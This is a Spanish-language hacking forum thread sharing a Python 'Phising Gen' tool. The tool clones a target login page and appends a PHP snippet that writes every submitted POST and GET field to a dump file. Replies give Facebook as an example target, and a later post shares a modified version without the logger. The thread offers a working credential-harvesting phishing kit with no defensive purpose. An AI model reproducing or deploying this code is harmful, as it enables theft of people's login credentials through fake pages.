[Python] Phising Gen By Doddy H

Iniciado por BigBear, Julio 03, 2011, 09:36:25 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 03, 2011, 09:36:25 PM Ultima modificación: Julio 07, 2011, 07:03:22 PM por Sthefano02
Hola a todos

Acabo de terminar esta tool en python para generar los fakes o phising (si es que asi se escribe)
No me dedico mucho a esa parte del hacking , pero hice esta cosa rara porque no
tenia nada que hacer xDD.

Código: python

#!usr/bin/python
#Phising Gen (C) Doddy Hackman

import urllib2,sys,os


def savefile(filename,text):
file = open(filename,"w")
file.write(text)
   

def header() :
print "\n\n--== Phising Gen ==--\n"

def copyright() :
print "\n\n(C) Doddy Hackman 2010\n"
exit(1)

def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"

def toma(web) :
return urllib2.urlopen(web).read()


def gen(web,new):
try:
  print "\n[+] Working in the phishing"
  code = toma(web)
  text ='<?php $file = fopen("dump.txt", "a");foreach($_POST as $uno => $dos) {fwrite($file, $uno."=".$dos."\r\n");}foreach($_GET as $tres => $cuatro) {fwrite($file, $tres."=".$cuatro."\r\n");}fclose($file);?>'
  print "[+] The fake was save in",new
  savefile(new,code+"\n\n"+text)
except:
  pass

header()

if len(sys.argv) != 3 :
show()

else :
gen(sys.argv[1],sys.argv[2])

copyright()

#The End






Ejemplo de uso

Código: php

C:/Users/DoddyH/Desktop/Arsenal X parte 2>phising.py http://127.0.0.1/login.php
yeah.php



--== Phising Gen ==--


[+] Working in the phishing
[+] The fake was save in yeah.php


(C) Doddy Hackman 2010




Hola, podrias explicar un poco el funcionamiento? :P
Saludos.-
#####################################################
#######                                Shama|TwoH                         #######
#####################################################

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola, podrias explicar un poco el funcionamiento? :P
Saludos.-


te lo explico yo.
si hacemos:
Código: php
phising.py http://www.facebook.com/index.php yeah.php


el script escribirá el archivo "yeah.php" que al ser ejecutado en un servidor con soporte para php, quedaría:



en palabras, obtiene el código fuente de una pagina y lo escribe en un archivo.
así es como se empiezan los proyectos de  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


buen trabajo, Doddy.
¡< blozzter >!

Marzo 29, 2012, 11:02:14 AM #3 Ultima modificación: Agosto 12, 2012, 03:28:40 AM por fortil
EXCELENTE APORTE.

pero no me sirvió para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta xD. nosé a que se deberá.

Hola

Una pregunta, es que este programa me funcionaba en ubuntu, pero ahora que lo he necesitado y estoy en W7 no sé porque no me va, ustedes saben si es por el SO?

gracias

Te instalaste Python?¿
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Agosto 12, 2012, 05:31:09 PM #6 Ultima modificación: Agosto 12, 2012, 06:24:42 PM por Snifer
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Te instalaste Python?¿

si claro, pero no sé porque no me funciona, es decir sale la lectura del archivo (lo que se imprime) pero no me genera el archivo (php)


he modificado el código para que lo pida al ejecutarse ya que en W7 me tiraba error los argumentos del SYS, pongo este codigo como lo modifiqué y tampoco aparecee las molestas letras de abajo (que como no se mucho de php no sé que era)

Código: python
#!usr/bin/python
#Phising Gen (C) Doddy Hackman Modificado por Fortil

import urllib2,sys,os

web = raw_input('Ingrese la URL (http://www.facebook.com): \n')
new = raw_input('Nombre del archivo final (index.php): \n')

def savefile(filename,text):
file = open(filename,"w")
file.write(text)
     
def header() :
print "\n\n--== Phising Gen ==--\n"

def copyright() :
print "\n\n(C) Doddy Hackman 2010 modificado por Fortil\n"
raw_input('Presiona [ENTER] para salir')
exit(1)

def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web> <filename>\n"

def toma(web) :
return urllib2.urlopen(web).read()


def gen(web,new):
try:
  print "\n[+] Working in the phishing"
  code = toma(web)
  print "[+] The fake was save in",new
  savefile(new,code)
except:
  pass

header()
gen(web,new)
copyright()


#The End